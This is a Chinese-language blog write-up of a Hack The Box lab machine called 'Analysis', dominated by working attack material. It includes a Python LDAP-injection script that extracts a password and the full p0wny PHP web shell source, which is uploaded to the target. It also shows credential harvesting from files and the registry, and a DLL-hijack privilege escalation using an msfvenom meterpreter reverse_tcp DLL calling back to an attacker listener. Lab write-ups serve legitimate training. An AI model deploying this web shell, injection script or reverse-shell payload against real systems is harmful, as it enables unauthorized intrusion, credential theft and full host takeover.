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FreeBuf+小程序把安全装进口袋

Web安全

[Meachines][Hard]Analysis

2024-05-03 19:38:02

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

Main

$ nmap -sC -sV 10.10.11.250 --min-rate 1000

# echo '10.10.11.250 analysis.htb'>>/etc/hosts

$ gobuster dns -d analysis.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r analysis.htb:53

# echo '10.10.11.250 internal.analysis.htb gc._msdcs.analysis.htb domaindnszones.analysis.htb forestdnszones.analysis.htb'>>/etc/hosts

$ gobuster dir --url "http://gc._msdcs.analysis.htb" --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php

$ gobuster dir --url "domaindnszones.analysis.htb" --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php

$ gobuster dir --url "http://forestdnszones.analysis.htb" --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php

发现list.php

Arjun 寻找隐藏HTTP参数

$ arjun -u http://internal.analysis.htb/users/list.php

LDAP 注入

LDAP注入是一种针对Web应用程序的攻击，它利用用户输入构造LDAP语句。当应用程序未能正确对输入进行清理时，攻击者可以通过本地代理来操纵LDAP语句，从而可能导致未经授权的访问或数据篡改

https://player.bilibili.com/player.html?aid=1454168406

# exp.py
# S-H4CK13
import requests
import string

printable_characters = string.printable
def main():
    print("[xxxx]Ldap Injection[xxxx]")
    password = ""
    while True:
        for char in printable_characters:
            url = f"http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={password}{'' if char == '*' else char}*)"
            response = requests.get(url)
            if response.status_code == 200 and "technician" in response.text:
                print("[+] Got char:", char)
                password += char
                break
        else:
            break
    print("[*] Found password:", password)

if __name__ == "__main__":
    main()

搜索LDAP数据库中描述属性中包含特定字符的用户信息
$ python3 exp.py

只需要97NTtl*4QP96Bv

$ ./kerbrute_linux_amd64 userenum --dc analysis.htb -d analysis.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o recore.log

$ echo "97NTtl*4QP96Bv">pass
$ ./kerbrute_linux_amd64 bruteuser --dc analysis.htb -d analysis.htb pass technician@analysis.htb

http://internal.analysis.htb/employees/login.php

这里页面多试几次,我刷了很多次都是404不知道为什么...

username:technician@analysis.htb
password:97NTtl*4QP96Bv

上传php木马

<?php

$SHELL_CONFIG = array(
    'username' => 'p0wny',
    'hostname' => 'shell',
);

function expandPath($path) {
    if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
        exec("echo $match[1]", $stdout);
        return $stdout[0] . $match[2];
    }
    return $path;
}

function allFunctionExist($list = array()) {
    foreach ($list as $entry) {
        if (!function_exists($entry)) {
            return false;
        }
    }
    return true;
}

function executeCommand($cmd) {
    $output = '';
    if (function_exists('exec')) {
        exec($cmd, $output);
        $output = implode("\n", $output);
    } else if (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
        ob_start();
        system($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
        ob_start();
        passthru($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
        $handle = popen($cmd, 'r');
        while (!feof($handle)) {
            $output .= fread($handle, 4096);
        }
        pclose($handle);
    } else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
        $handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
        $output = stream_get_contents($pipes[1]);
        proc_close($handle);
    }
    return $output;
}

function isRunningWindows() {
    return stripos(PHP_OS, "WIN") === 0;
}

function featureShell($cmd, $cwd) {
    $stdout = "";

    if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
        chdir(expandPath("~"));
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir(expandPath($match[1]));
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        $stdout = executeCommand($cmd);
    }

    return array(
        "stdout" => base64_encode($stdout),
        "cwd" => base64_encode(getcwd())
    );
}

function featurePwd() {
    return array("cwd" => base64_encode(getcwd()));
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    foreach ($files as &$filename) {
        $filename = base64_encode($filename);
    }
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => base64_encode('File not found / no read permission.'),
            'cwd' => base64_encode(getcwd())
        );
    } else {
        return array(
            'name' => base64_encode(basename($filePath)),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => base64_encode('Invalid path / no write permission.'),
            'cwd' => base64_encode(getcwd())
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => base64_encode('Done.'),
            'cwd' => base64_encode(getcwd())
        );
    }
}

function initShellConfig() {
    global $SHELL_CONFIG;

    if (isRunningWindows()) {
        $username = getenv('USERNAME');
        if ($username !== false) {
            $SHELL_CONFIG['username'] = $username;
        }
    } else {
        $pwuid = posix_getpwuid(posix_geteuid());
        if ($pwuid !== false) {
            $SHELL_CONFIG['username'] = $pwuid['name'];
        }
    }

    $hostname = gethostname();
    if ($hostname !== false) {
        $SHELL_CONFIG['hostname'] = $hostname;
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
} else {
    initShellConfig();
}

?><!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
                width: 100vw;
                height: 100vh;
                overflow: hidden;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #222;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
                max-width: calc(100vw - 2 * var(--shell-margin));
                max-height: calc(100vh - 2 * var(--shell-margin));
                resize: both;
                overflow: hidden;
                width: 100%;
                height: 100%;
                margin: var(--shell-margin) auto;
            }

            #shell-content {
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            :root {
                --shell-margin: 25px;
            }

            @media (min-width: 1200px) {
                :root {
                    --shell-margin: 50px !important;
                }
            }

            @media (max-width: 991px),
                   (max-height: 600px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }
                :root {
                    --shell-margin: 0 !important;
                }
                #shell {
                    resize: none;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
                padding: 10px 0;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
                box-sizing: border-box;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(atob(response.name), response.file)
                        } else {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion
                    data.files = data.files.map(function(file){
                        return atob(file);
                    });
                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = atob(response.cwd);
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>

http://internal.analysis.htb/dashboard/uploads/p0wnyshell.php

DC-ANALYSIS$@DC-ANALYSIS:C:\inetpub# cd C:\inetpub\internal\users
DC-ANALYSIS$@DC-ANALYSIS:C:\inetpub# type list.php
发现一个新的ldap管理员

username:webservice@analysis.htb
password:N1G6G46G@G!j

DC-ANALYSIS$@DC-ANALYSIS:C:\inetpub# cd C:\inetpub\internal\employees
DC-ANALYSIS$@DC-ANALYSIS:C:\inetpub# type login.php
数据库信息

username:db_master
password:0$TBO7H8s12yh&
database:employees

DC-ANALYSIS$@DC-ANALYSIS:c:\Users\Public\Downloads# reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
查询一些与 Windows 登录过程相关的配置信息

AutoAdminLogon: 这个注册表项指定了是否启用自动登录功能。
DefaultDomainName: 这个注册表项存储了默认的域名。
DefaultUserName: 这个注册表项存储了默认的用户名。
DefaultPassword: 这个注册表项存储了默认的密码（如果启用了自动登录功能）。
Shell: 这个注册表项指定了用户登录后默认启动的 Shell。

username:jdoe
password:7y4Z4^*y9Zzj

evil-winrm

evil-winrm 是一个用于在 Windows 主机之间进行远程命令执行的工具，类似于 SSH。它利用了 Windows Remote Management（WinRM）服务，该服务默认使用端口 5985（HTTP）或 5986（HTTPS）来进行通信。

$ evil-winrm -u jdoe -i analysis.htb -p '7y4Z4^*y9Zzj'

User Flag

*Evil-WinRM* PS C:\Users\jdoe\Documents> type c:\Users\jdoe\Desktop\user.txt

69fd805d8395acf243f107ae46250f81

Root Flag

*Evil-WinRM* PS C:\Users\jdoe\Documents> cd C:\snort\lib
*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls snort_dynamicpreprocessor

icacls 是 Windows 系统中用于查看和修改文件或目录 ACL（访问控制列表）的命令行工具。ACL 确定了对文件或目录的访问权限，包括哪些用户或组可以访问、读取、写入或执行文件或目录。
snort_dynamicpreprocessor 是 Snort 这个网络入侵检测系统的一个组件。在 Snort 中，dynamicpreprocessor 是一种动态预处理器，用于处理特定类型的网络流量。这个目录可能包含与 dynamicpreprocessor 相关的配置文件、日志文件或其他相关文件。

DLL劫持条件:

AUTORITE NT\Système 和 BUILTIN\Administrateurs 这两个用户组都有完全控制权限（F）。这意味着系统用户和管理员用户可以对这个目录及其内容进行任何操作，包括写入。
BUILTIN\Utilisateurs 组有读取和执行权限（RX），以及添加数据（AD）和写入数据（WD）的权限。这意味着普通用户可以向目录中添加和写入文件。
由于普通用户具有向目录中添加文件的权限，因此存在 DLL 劫持的潜在风险。攻击者可以将一个恶意的 DLL 文件放置到这个目录中，并期待系统在启动或运行时加载该 DLL 文件。由于普通用户具有添加数据权限，因此攻击者可以利用这个权限将恶意 DLL 放置到目录中。然后，当系统运行需要该 DLL 的程序时，它可能会加载恶意 DLL 而不是预期的 DLL，从而导致攻击者在系统上获得反向 shell 或执行其他恶意操作。

在执行evil-winrm目录下生成
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=10033 -f dll -o sf_engine.dll

$ msfconsole -x 'use use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set lport 10033;set lhost 10.10.16.15'

把sf_engine.dll上传到C:\snort\lib\snort_dynamicpreprocessor

*Evil-WinRM* PS C:\snort\lib> cd C:\snort\lib\snort_dynamicpreprocessor
*Evil-WinRM* PS C:\snort\lib\snort_dynamicpreprocessor> upload sf_engine.dll

等一会就上线了

C:\Windows\system32>type c:\Users\Administrateur\Desktop\root.txt

a9d18d734fc464d9903817c11491f134

# 渗透测试 # 黑客 # 网络安全 # web安全 # CTF

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